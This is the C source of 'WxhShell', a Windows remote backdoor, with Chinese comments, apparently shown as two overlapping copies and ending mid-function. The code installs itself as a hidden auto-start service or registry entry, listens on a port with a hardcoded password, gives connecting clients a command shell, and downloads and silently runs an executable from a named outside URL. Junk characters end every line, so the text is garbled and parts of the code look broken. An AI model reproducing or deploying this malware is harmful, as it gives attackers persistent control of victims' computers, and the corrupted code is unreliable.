    if(Boot(SHUTDOWN)) MSxU>FX0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xc3Ov9`8%  
    else { %j 9vX$Hj  
    closesocket(wsh); W#oEF/G  
    ExitThread(0); ;DT"S{"7  
    } HbJadOK  
    break; 8yJk81 gY  
    } ;n:H6cp  
  // 获取shell |r<.R>  
  case 's': { $w2[5|^S  
    CmdShell(wsh); +E""8kW- Z  
    closesocket(wsh); Z(Ls#hp  
    ExitThread(0); Px^<2Q%Fs  
    break; Yc|-sEK/  
  } A61-AwvF8-  
  // 退出 {4V:[*3  
  case 'x': { &L[8Mju6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qZyt>SAx  
    CloseIt(wsh); ]%ZjD  
    break; $AL|d[[T[  
    } IAt+S-q0  
  // 离开 N8/Au=De_  
  case 'q': { rsq'60  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H7cRWB  
    closesocket(wsh); NZi'eZ{^`  
    WSACleanup(); \a~;8):q=i  
    exit(1); |eVTxeq  
    break; lN]X2 4t  
        } +wPvQKVfI  
  } FHnHhB[  
  } SbQ{ >  
ni02N3R  
  // 提示信息 lzQ&)7`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fR{WS:Pv  
} MZhJ,km)  
  } *Kp ^al  
<T=o]M$  
  return; sV Z}nq{  
}  # 8-P  
% 'L=  
// shell模块句柄 KlSY^(kHR  
int CmdShell(SOCKET sock) swe8  
{ @% 5F^Vbd  
STARTUPINFO si; @)M.u3{\  
ZeroMemory(&si,sizeof(si)); )9;kzp/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2Xk1A S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YRT}fd>R&  
PROCESS_INFORMATION ProcessInfo; sjVl/t`l  
char cmdline[]="cmd"; aV0;WH_3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6b1 Uj<  
  return 0; 7zOvoQ}  
} dsft=t8s  
_ jM6ej<  
// 自身启动模式 fSb@7L  
int StartFromService(void) u{y5'cJ{  
{ {3 yws 4  
typedef struct H"Em|LX^  
{ :fMM-?s]  
  DWORD ExitStatus; W0C$*oe!_i  
  DWORD PebBaseAddress; tI(t%~>^  
  DWORD AffinityMask; &opH\wa  
  DWORD BasePriority; Yh!\:9@(  
  ULONG UniqueProcessId; uma9yIk  
  ULONG InheritedFromUniqueProcessId; F\$}8,9  
}   PROCESS_BASIC_INFORMATION; C8%nBa /  
$F==n4)  
PROCNTQSIP NtQueryInformationProcess; s13 d*  
~m"M#1,ln3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,19"[:WN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q!$kUcky9  
k? _$h<Y  
  HANDLE             hProcess; ;kcFQed\w  
  PROCESS_BASIC_INFORMATION pbi; 8B(Q7Qj  
c9TkIe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >5YYij5Aj  
  if(NULL == hInst ) return 0; s!zr>N"  
1,sO =p)Yg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jl|X$w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); # v/aI*Rl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b9!J}hto,  
#p^pvdvh3  
  if (!NtQueryInformationProcess) return 0; U*#E aL  
A 5\"e^>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L?pvz}  
  if(!hProcess) return 0; gcY~_'&u  
<GU(/S!}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i2Iu 2  
sZ(Q4)r  
  CloseHandle(hProcess); ?_`P;}4#  
n ;fTx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .M#>@~XR  
if(hProcess==NULL) return 0; &qj&WfrB,  
E!]rh,mYK  
HMODULE hMod; :j!_XMyT:  
char procName[255]; wz2)seZY  
unsigned long cbNeeded; Lzb [%?  
DL/*t.)"et  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >!WBl Sy  
!EC\1rmdlN  
  CloseHandle(hProcess); '[M2Q"X  
gbi~!S-  
if(strstr(procName,"services")) return 1; // 以服务启动 w[7HY@[  
l=G#gKE  
  return 0; // 注册表启动 'Rf#1ls#  
} T"jDq1C/,E  
oz7udY=]0  
// 主模块 OTbjZ(  
int StartWxhshell(LPSTR lpCmdLine) {d5ur@G1  
{  AHg4kG  
  SOCKET wsl; ?@7|Q/  
BOOL val=TRUE; ErUk>V  
  int port=0; .*..pf|/  
  struct sockaddr_in door; ?J1&,'&  
Le+8s LE`Y  
  if(wscfg.ws_autoins) Install(); +]2~@=<@  
o]k]pNO  
port=atoi(lpCmdLine); 2H0q\zZ  
"VhrsVT  
if(port<=0) port=wscfg.ws_port; z[I/ AORl  
,}$x'8v  
  WSADATA data; 5Ddyb%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `Y9}5p  
UVi/Be#|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9(\N+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I;PO$T  
  door.sin_family = AF_INET; d3hTz@JY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BwA~*5TFu  
  door.sin_port = htons(port); WN?`Od:y  
fpC@3itI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v8M#%QoA  
closesocket(wsl); m(Xr5hw:6  
return 1; &_TjRj"  
} Q#AHEm{9;s  
M(gWd8?#  
  if(listen(wsl,2) == INVALID_SOCKET) { )Syf5I  
closesocket(wsl); G\+MT(&5  
return 1; >TVd*S  
} \^Q)`Lqp:g  
  Wxhshell(wsl); &^<T/PiR  
  WSACleanup(); !c' ;L'  
}tgn1xpx  
return 0; `RLrT3 4  
B$eF@v"  
} Al;oI3  
G~j<I/)"  
// 以NT服务方式启动 omU)hFvyS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6>^k9cJp  
{ m.X+sP-e  
DWORD   status = 0; jtJ8r5j 1  
  DWORD   specificError = 0xfffffff; `Y$5g~3.  
$6+P&"8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; = nN*9HRD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |xC TX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X64I~*  
  serviceStatus.dwWin32ExitCode     = 0; LU=)\U@Q  
  serviceStatus.dwServiceSpecificExitCode = 0; f*@:{2I.v  
  serviceStatus.dwCheckPoint       = 0; 9E*K44L/V  
  serviceStatus.dwWaitHint       = 0; <W{0@?y  
"+Yn;9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YR`rg;n#  
  if (hServiceStatusHandle==0) return; !S}Au Mw  
@_Oe`j^  
status = GetLastError(); Z9EQ|WfS#-  
  if (status!=NO_ERROR) _ o3}Ly}  
{ a#j^gu$m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xJ.!Q)[  
    serviceStatus.dwCheckPoint       = 0; q/G5aO*  
    serviceStatus.dwWaitHint       = 0; TniKH( w/  
    serviceStatus.dwWin32ExitCode     = status; `cRB!w=KHV  
    serviceStatus.dwServiceSpecificExitCode = specificError; T`G"2|ISS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L-TVe  
    return; }J lW\#  
  } I=-;*3g6  
73<yrBxp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  `a9>4  
  serviceStatus.dwCheckPoint       = 0; H(m+rk  
  serviceStatus.dwWaitHint       = 0; Um|Tf]q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |a\TUzq  
} WHT%m|yn  
\C.@ @4{  
// 处理NT服务事件,比如:启动、停止 tS@/Bq('B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D'+8]B  
{ >C66X?0cd  
switch(fdwControl) 1W7BN~p14  
{ h0pr"]sO;$  
case SERVICE_CONTROL_STOP: S?tLIi/  
  serviceStatus.dwWin32ExitCode = 0; Ku'U^=bVm:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SHh(ujz,  
  serviceStatus.dwCheckPoint   = 0; X"GQ^]$O  
  serviceStatus.dwWaitHint     = 0; Hvk?(\x  
  { QyQ8M1m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w\4m -Z{  
  } !X_~|5.  
  return; e@By@r&nql  
case SERVICE_CONTROL_PAUSE: ~(S4/d5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "|rqt.f2[  
  break; U]$3NIe  
case SERVICE_CONTROL_CONTINUE: 1\kehCt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u'."E7o#  
  break; GC3L2C0)k  
case SERVICE_CONTROL_INTERROGATE: 8B9zo&  
  break; #{1fb%L{i  
}; .9 QQ]fLs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %q^]./3p  
} r/f;\w7  
z$b!J$A1  
// 标准应用程序主函数 CxV%/ChJ#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z;s-t\C  
{ g&wQ^  
v,B\+q/  
// 获取操作系统版本 |SleSgS<#  
OsIsNt=GetOsVer(); i|GC 'XD@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ARo5 Ss{  
q"oNB-bz  
  // 从命令行安装 E]Q)pZ{Jb  
  if(strpbrk(lpCmdLine,"iI")) Install(); BD+?Ad?  
l"8YIsir  
  // 下载执行文件 +3CMfYsr8  
if(wscfg.ws_downexe) { 7 >(ygu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sxtGl^,mU:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3\7$)p+c  
} qiN'Tuw9  
2B;QS\e"  
if(!OsIsNt) { t"fD"Xpj  
// 如果时win9x,隐藏进程并且设置为注册表启动 1 doqznO  
HideProc(); K(2s%  
StartWxhshell(lpCmdLine); 470Pig>I8  
} N%+M+zEJ  
else cO9Aw!  
  if(StartFromService()) 2hP8ZfvIR  
  // 以服务方式启动 .VT,,0  
  StartServiceCtrlDispatcher(DispatchTable); tHeLq*))  
else >wwEa4   
  // 普通方式启动 5JXLfYTUI  
  StartWxhshell(lpCmdLine); f -5ZXpWs'  
9m{rQ P/  
return 0; *Q?HaG|S  
} dGe  
CS49M  
yk/XfwQ5  
\\JXY*DA:+  
=========================================== 0sa EcJ-  
|*i-Q @ D  
WW=7QC i  
?|\Lm3%J  
h>?OWI  
kTV D 4Z=  
" zAewE@N#_  
p20Nk$.  
#include <stdio.h> V5+a[`]  
#include <string.h> &PX'=UT  
#include <windows.h> 0'uj*Y{L  
#include <winsock2.h> hkG<I';M?M  
#include <winsvc.h> 0ZN/-2c A#  
#include <urlmon.h> mf#oa~_  
WyP1"e^ 9  
#pragma comment (lib, "Ws2_32.lib") ZUycJ-[  
#pragma comment (lib, "urlmon.lib") [aC(Ga}  
}- Sr@bE  
#define MAX_USER   100 // 最大客户端连接数 RiklwR#~r/  
#define BUF_SOCK   200 // sock buffer \N30SG ?o  
#define KEY_BUFF   255 // 输入 buffer ?AE%N.rnsi  
x& S>Mr  
#define REBOOT     0   // 重启 {$^|^n5j  
#define SHUTDOWN   1   // 关机 v]v f(]""  
tr Ls4o,  
#define DEF_PORT   5000 // 监听端口 5|Qr"c$p  
xlAaIo)T  
#define REG_LEN     16   // 注册表键长度 `F#KXk  
#define SVC_LEN     80   // NT服务名长度 H@zpw1fH+  
.kVga+la?  
// 从dll定义API ) =[Tgh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0U'r ia:$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <,{v>vlw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zh@\+1]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f+ &yc'[  
0W)_5f&  
// wxhshell配置信息 n !QjptQ  
struct WSCFG { N@}U;x}  
  int ws_port;         // 监听端口 >:=TS"}yS}  
  char ws_passstr[REG_LEN]; // 口令 2r,fF<WQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no B}W^s;h  
  char ws_regname[REG_LEN]; // 注册表键名 1K>4 i. X  
  char ws_svcname[REG_LEN]; // 服务名 Rjf |  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?k#% AM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qF ?S[Z;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 < qBPN{'a"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dZ*o H#B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LBg#KQ @  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )lbF'.i  
pmC@ fB  
}; vd~O:=)4  
x{m)I <.:  
// default Wxhshell configuration 4[?Q*f!  
struct WSCFG wscfg={DEF_PORT, ep5aBrN]"  
    "xuhuanlingzhe", L>B0%TP^  
    1, GCrN:+E0FJ  
    "Wxhshell", N`M5`=.  
    "Wxhshell", &("?6%GC  
            "WxhShell Service", &7 ,wdG  
    "Wrsky Windows CmdShell Service", T*oH tpFj#  
    "Please Input Your Password: ", hRP0Djc  
  1, #xmUND`@  
  "http://www.wrsky.com/wxhshell.exe", *jYwcW"R{z  
  "Wxhshell.exe" -&c@c@dC  
    }; {PU[MHZF  
k@w&$M{tPF  
// 消息定义模块 E^g6,Y:i9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #\}hN~@F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X_h+\ 7N>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YXvKDw'95  
char *msg_ws_ext="\n\rExit."; .}tL:^'~o  
char *msg_ws_end="\n\rQuit."; @wo9;DW`  
char *msg_ws_boot="\n\rReboot..."; B7#;tCf  
char *msg_ws_poff="\n\rShutdown..."; | c;S'36  
char *msg_ws_down="\n\rSave to "; L2 I/h`n"  
7Qo*u;fr  
char *msg_ws_err="\n\rErr!"; }Eav@3h6  
char *msg_ws_ok="\n\rOK!"; P5N"7/PfW  
DT*/2TH*l  
char ExeFile[MAX_PATH]; * 08LW|:,  
int nUser = 0; r )T`?y  
HANDLE handles[MAX_USER]; t*COzE  
int OsIsNt; [\VzI\vb  
( nBsf1l  
SERVICE_STATUS       serviceStatus; zmdOL9"a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .8"o&%$`V  
As"'KR  
// 函数声明 +/ #J]v-  
int Install(void); cJt#8P  
int Uninstall(void); rTi.k  
int DownloadFile(char *sURL, SOCKET wsh); o*<(,I%  
int Boot(int flag); c6e?)(V>  
void HideProc(void); X3nwA#If1  
int GetOsVer(void); U<*dDE~z  
int Wxhshell(SOCKET wsl); *@O;IiSE  
void TalkWithClient(void *cs); 9qw~]W~Nm  
int CmdShell(SOCKET sock); $lO\eQGxB  
int StartFromService(void); =%a.C(0&G  
int StartWxhshell(LPSTR lpCmdLine); "$WZd  
1Ao"DxZHy7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "MyYu}AD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "DUL} "5T  
7QQnvoP  
// 数据结构和表定义 R8ZW1  
SERVICE_TABLE_ENTRY DispatchTable[] = pM>.z9  
{ +'[iyHBJ  
{wscfg.ws_svcname, NTServiceMain}, 3m x7[Q  
{NULL, NULL} ~WVrtYJu  
}; m^TkFt<BM  
;$W|FpR2  
// 自我安装 +ux,cx.U"  
int Install(void) *`dGapd3  
{ [x@iqFO9  
  char svExeFile[MAX_PATH]; 9{+B l NZ  
  HKEY key; &)rmv  
  strcpy(svExeFile,ExeFile); U7{, *  
_Wgg=A"G  
// 如果是win9x系统,修改注册表设为自启动 ]+J]}C]\d  
if(!OsIsNt) { ?A]:`l_"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  6CCM7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I+}h+[W  
  RegCloseKey(key); hGPjH=^EM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S:Hg =|R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9X!OQxmg  
  RegCloseKey(key); J H6\;G6  
  return 0; P,,@&* :  
    } 3uN;*f  
  } !W8$-iq  
} (;!&RZ  
else { p`Ax)L\f  
63ht|$G  
// 如果是NT以上系统,安装为系统服务 :c c#e&BO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,;UVQwY  
if (schSCManager!=0) Qp{{OjD  
{ ' R{ [Y)  
  SC_HANDLE schService = CreateService 4SmhtC  
  ( C]{43  
  schSCManager, YrA#NTB_o  
  wscfg.ws_svcname, >i=mw5`D]  
  wscfg.ws_svcdisp, |',MgA  
  SERVICE_ALL_ACCESS, yY8q{\G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~Q5L)}8N  
  SERVICE_AUTO_START, xqIt?v2c  
  SERVICE_ERROR_NORMAL,  $ l Y  
  svExeFile, a:1-n %&F  
  NULL, o ;.j_  
  NULL, $n!saPpxS  
  NULL, `j@2[XdHu  
  NULL, ij/ |~-!  
  NULL kAU[lPt*R  
  ); U^[<G6<9]  
  if (schService!=0) 7?e*b(vd  
  { q0$}MB6  
  CloseServiceHandle(schService); %b0..Zz  
  CloseServiceHandle(schSCManager); =ejkE; %L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nT9B?P>  
  strcat(svExeFile,wscfg.ws_svcname); &Zd! |u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h8Kri}z;M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nCJ)=P.d  
  RegCloseKey(key); _z~|*7@  
  return 0; A@+pvC&  
    } .X TBy/(0  
  } ?~hC.5  
  CloseServiceHandle(schSCManager); o|$l+TC  
} R Mrh@9g  
} eA4@)6WP(  
RoT}L#!!  
return 1; t*~V]wZ  
} Fep#Pw1  
YqrieDFay!  
// 自我卸载 3Jf_3c  
int Uninstall(void) d A[I  
{ *?+E?AGe  
  HKEY key; V!(Ty%7  
"}Vow^vb  
if(!OsIsNt) { >d&B:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N!{('po  
  RegDeleteValue(key,wscfg.ws_regname); 8:TN,p  
  RegCloseKey(key); z`y!C3w<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ilHZx2 k  
  RegDeleteValue(key,wscfg.ws_regname); iO~3rWQ  
  RegCloseKey(key); JT#jJ/^  
  return 0; {rBS52,Z#  
  } p~6/  
} a^>0XXr}Y  
} TDq(%IW  
else { S2'./!3yv  
.k|8nNj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [}}?a   
if (schSCManager!=0) -J[*fv@  
{ ~*@ UQ9*p#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,C1}gPQ6<  
  if (schService!=0) TFjb1 a,)  
  { j|c  
  if(DeleteService(schService)!=0) { ;*Ldnj;B  
  CloseServiceHandle(schService); .Cwg l  
  CloseServiceHandle(schSCManager); wsYvbI!  
  return 0; Mj|\LF +  
  } Lk9X>`b#B  
  CloseServiceHandle(schService); uS`XWn<CSD  
  } #(=8 RA:@  
  CloseServiceHandle(schSCManager); g4EC[>5!r  
} $F"'= +0  
} Qyx%:PE  
=dSH8C"  
return 1; s]@()?.E$  
} D,b'1=  
Fuq ;4UcbL  
// 从指定url下载文件 NitsUg@<  
int DownloadFile(char *sURL, SOCKET wsh) Cdg/wRje  
{ e:D8.h+ &}  
  HRESULT hr; *")Req  
char seps[]= "/"; [|.IXdJ!  
char *token; =bgzl=A`  
char *file; _FR_6*C)5  
char myURL[MAX_PATH]; 6}4?, r  
char myFILE[MAX_PATH]; ?5-Y'(r  
K%iWUl;  
strcpy(myURL,sURL); B|XrjI?  
  token=strtok(myURL,seps); lLhvpvT  
  while(token!=NULL) ;+jz=9Q-  
  { jMr[ UZ  
    file=token; |C"(K-do  
  token=strtok(NULL,seps); =z#6mSx|W  
  } i[_B~/_  
Uq/FH@E=  
GetCurrentDirectory(MAX_PATH,myFILE); 0P i+ (X  
strcat(myFILE, "\\"); "%]<Co<S  
strcat(myFILE, file); HueGARS  
  send(wsh,myFILE,strlen(myFILE),0); ;+C2P@M  
send(wsh,"...",3,0); |I \&r[J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j.or:nF  
  if(hr==S_OK) 4~<78r5m  
return 0; f3PDLQA  
else Bl[4[N  
return 1;  /5M0[C E  
0+S ;0  
} lgrD~Y (x  
mk.1jx ?l  
// 系统电源模块 Hw29V //  
int Boot(int flag) ,6VY S\a3  
{ o0ky]9 P  
  HANDLE hToken; 5?l8;xe`{f  
  TOKEN_PRIVILEGES tkp; x Zp`  
tBU n KPT  
  if(OsIsNt) { %vn"tp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KEfN!6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Uzh#z eZ`<  
    tkp.PrivilegeCount = 1; Z;/QB6|%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qh9d .Q+n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U/ds(*g@  
if(flag==REBOOT) { !%X~`&9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z=R 6?jU*n  
  return 0; wCQ.?*7-9Q  
} At<D36,^"  
else { ~dXiyU,y2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;*(i}'  
  return 0; ~}"5KX\=#  
} C*X=nezq  
  } ibP IT!5c  
  else { 3ch<a0  
if(flag==REBOOT) { >:J7u*>$'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,{6 Vf|?  
  return 0; )x5t']w`K  
} 4yK{(!&i+  
else { +L0Jje>Az  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {<cL@W  
  return 0; B)/L[ )S  
} @bRKJPU9)  
} DbWaF5\yD  
1VKu3  
return 1; "%(SLQOyy  
} l"zwH  
eQqnPqi-  
// win9x进程隐藏模块 v`r![QpYf  
void HideProc(void) !P8Y(i  
{ "%I<yUP]U  
E]O/'-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t 7-6A  
  if ( hKernel != NULL ) lxsn(- j  
  { x$hT+z6DUC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'vwu^u?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y6 <.]H  
    FreeLibrary(hKernel); j DkBe-`  
  } 3p1U,B}  
kk>z,A4 h_  
return; KPjC<9sby  
} u']}Z% A9`  
p!o-+@ava  
// 获取操作系统版本 {nPiIPH  
int GetOsVer(void) 1'B&e)  
{ )TfX}  
  OSVERSIONINFO winfo; 70<{tjyc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); , Dab(  
  GetVersionEx(&winfo); v#|yr<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _I?oR.ON33  
  return 1; gb{8SG5ac  
  else :\Q#W4~p  
  return 0; T@jv0/(+  
} 6bDizS}  
dOT7;@   
// 客户端句柄模块 i@`qam   
int Wxhshell(SOCKET wsl) %(1Jt "9|  
{ f"z;'  
  SOCKET wsh; Skg}/Ek  
  struct sockaddr_in client; +!Q*ie+q  
  DWORD myID; _vJ(F  
<2af&-EG s  
  while(nUser<MAX_USER) 4L bll%[9  
{ XL7||9,(h  
  int nSize=sizeof(client); '=0l{hv@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TKp2C5bX  
  if(wsh==INVALID_SOCKET) return 1; '':MhRb  
x7xMSy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B[IWgvB(e  
if(handles[nUser]==0) !]3kFWs  
  closesocket(wsh); MTip4L W9  
else  RnSll-  
  nUser++; bkuJN%  
  } ^[&,MQU{7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eI9#JM|2  
bcgXpP  
  return 0; -TMg9M4  
} ]D&U} n  
Dz&,g+>$J  
// 关闭 socket fg7  
void CloseIt(SOCKET wsh) LGK&&srJs  
{ Y P,>vzW  
closesocket(wsh); 6e S~*  
nUser--; LJ6L#es2  
ExitThread(0); ~/qBOeU3  
} 3 a|pk4M  
h1H$3TpP  
// 客户端请求句柄 &hUEOif  
void TalkWithClient(void *cs) U[?f@.&  
{ $>7T s>8  
)5NWUuH 5  
  SOCKET wsh=(SOCKET)cs; ik](k"1{  
  char pwd[SVC_LEN]; f/QwXO-U  
  char cmd[KEY_BUFF]; ^T#jBqe  
char chr[1]; W&k@p9  
int i,j; S17;;w0  
\Q^grX  
  while (nUser < MAX_USER) { 0(>3L:  
)HcLpoEi  
if(wscfg.ws_passstr) { FTr'I82m(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jgiS/oW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f@gvDo]Y  
  //ZeroMemory(pwd,KEY_BUFF); b0/YX@  
      i=0; AB{zkEuK  
  while(i<SVC_LEN) { +cbF$,M4  
&=f?:UZ%  
  // 设置超时 xYZ,.  
  fd_set FdRead; .4ZOm'ko{  
  struct timeval TimeOut; )~Gn7  
  FD_ZERO(&FdRead); k }{o: N  
  FD_SET(wsh,&FdRead); .Cf!5[0E  
  TimeOut.tv_sec=8; PC HKH  
  TimeOut.tv_usec=0; JVGTmS[3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `8r$b/6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J$PlI  
F9Af{*Jw?x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4K\o2p?4  
  pwd=chr[0]; l,~`o$ _  
  if(chr[0]==0xd || chr[0]==0xa) { x]@z.Yj  
  pwd=0; Qea"49R  
  break; F2\&rC4v  
  } t(dVd%   
  i++; /OYa1,  
    } E%( s=YhW  
OwEu S#-  
  // 如果是非法用户,关闭 socket tJ7F.}\;C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #.!#"8{0_  
} UCXRF  
jABFdNjri  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SME9hS$4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =j{tFxJ  
4l{$dtKbI  
while(1) { 93Zij<bH?e  
Mna yiJl  
  ZeroMemory(cmd,KEY_BUFF); c%WO#}r|  
xXc>YTK'  
      // 自动支持客户端 telnet标准   ,"KfZf;?  
  j=0; ^|=P9'4Th  
  while(j<KEY_BUFF) { \#xq$ygg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a]P w:lT  
  cmd[j]=chr[0]; h@Jg9AM  
  if(chr[0]==0xa || chr[0]==0xd) { *u:,@io7'G  
  cmd[j]=0; OrYN-A4{  
  break; //;(KmU9  
  } Hq+QsplG  
  j++; g$jTP#%b  
    } )[J @s=  
)iM( \=1ff  
  // 下载文件 }6BXa  
  if(strstr(cmd,"http://")) { mj&OZ+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tGgDS)  
  if(DownloadFile(cmd,wsh)) Z#B}#*<C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {%CW!Rc  
  else E#_2t)20  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x=IZ0@p  
  } 0j;ZPqEf3  
